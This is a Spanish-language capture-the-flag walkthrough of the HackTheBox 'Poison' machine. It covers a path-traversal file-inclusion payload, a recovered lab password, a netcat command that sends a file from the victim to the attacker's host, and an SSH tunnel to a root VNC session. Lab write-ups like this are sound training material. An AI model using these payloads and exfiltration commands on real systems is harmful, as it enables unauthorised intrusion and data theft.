Entrada

Poison - WriteUp

Poison - WriteUp

🎯 Machine Info

Machine Poison
Platform HTB
OS Linux
Difficulty Medium

Poison


POISON


NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Nmap 7.94SVN scan initiated Mon Jan 22 09:23:26 2024 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap
.xsl -oN targeted -oX targetedXML 10.129.1.254
Nmap scan report for 10.129.1.254
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 22 09:23:36 2024 -- 1 IP address (1 host up) scanned in 9.16 seconds

WHATWEB

1
2
$ whatweb http://10.129.1.254
http://10.129.1.254 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.129.1.254], PHP[5.6.32], X-Powered-By[PHP/5.6.32]

HTTP

POISON

Si le introducimos por ejemplo “info.php” el resultado es el siguiente;

POISON

Se puede acontecer un LFI. Vamos a probarlo:

1
http://10.129.1.254/browse.php?file=/../../../../../../../../etc/passwd

POISON

OK, vamos a probar otro archivo de la lista:

POISON

El archivo número 8 parece sospechoso, vamos a ver qué contiene:

POISON

Parece que está codificado 13 veces en base64. Vamos a descifrarlo con Cyberchef

Vamos a preparar un script en Python que nos coja el archivo con el contenido en base64 y nos pregunte las veces que queremos decodificarlo, así ya lo tendremos para próximos usos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import base64
import sys

def decode_base64(data, times):
    for _ in range(times):
        data = base64.b64decode(data).decode("utf-8")
    return data

# Leer la ruta del archivo desde los argumentos de la línea de comandos
ruta_archivo = sys.argv[1]

# Leer el contenido del archivo
with open(ruta_archivo, 'r') as file:
    cadena = file.read()

# Preguntar al usuario cuántas veces quiere decodificar la cadena
times = int(input('\n¿Cuántas veces quieres decodificar la cadena? '))

# Decodificar la cadena
try:
    result = decode_base64(cadena, times)
    print("\nEl resultado es: " + result)
except Exception as e:
    print(f'Error al decodificar: {e}')

Y obtenemos el resultado:

POISON

Tenemos credenciales, ya que habíamos conseguido la lista de usuarios anteriormente:

1
charix:Charix!2#4%6&8(0

Vamos a probar las credenciales por SSH:

1
$ ssh charix@10.129.8.164

Y pa dentro!

Empezamos a enumerar y vemos un archivo sospechoso además de la primera bandera:

POISON

Vamos a intentar traérnoslo a nuestra máquina con NetCat

En nuestra máquina Kali nos pondremos a la escucha con el mismo nombre de archivo:

1
$ nc -l -p 1234 > secret.zip

Y en la máquina víctima enviaremos el archivo:

1
% nc -w 3 10.10.14.87 1234 < secret.zip

Nos lo pasamos pero al intentar descomprimirlo nos pide un password, volvemos a introducir la contraseña del usuario charix y parece que funciona. Pero el contenido parece cifrado o un rabbit hole.

POISON

Vamos a seguir enumerando la máquina víctima para ver qué encontramos.

Empecemos por los puertos o servicios en escucha, si no vemos nada, le subiremos linpeas

1
$ netstat -an | grep -i listen

POISON

Vemos que tiene dos puertos en escucha interna, que si la memoria no me falla corresponden a VNC.

Vamos a listar los procesos para ver si el servicio de VNC está levantado:

1
$ ps aux | grep -i vnc

POISON

Y efectivamente, es tiene corriendo un servidor de VNC internamente. Ahora vamos a traernos uno de los puertos en escucha hacia nuestra máquina para probar una conexión remota.

1
$ ssh -L 5901:127.0.0.1:5901 charix@10.129.8.164

Y ahora desde otra consola conectamos por VNC con las credenciales de Charix:

1
$ vncviewer 127.0.0.1:5901

POISON

Pero no funciona. Vamos a probar con el archivo descomprimido anterior mente como certificado:

1
$ vncviewer 127.0.0.1:5901 -passwd secret

POISON

Y estamos dentro! Como el servicio lo ejecutaba root, al entrar hemos entrado como superusuario. Registramos la flag y máquina pa la saca!

Última actualización: 2024-10-21
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.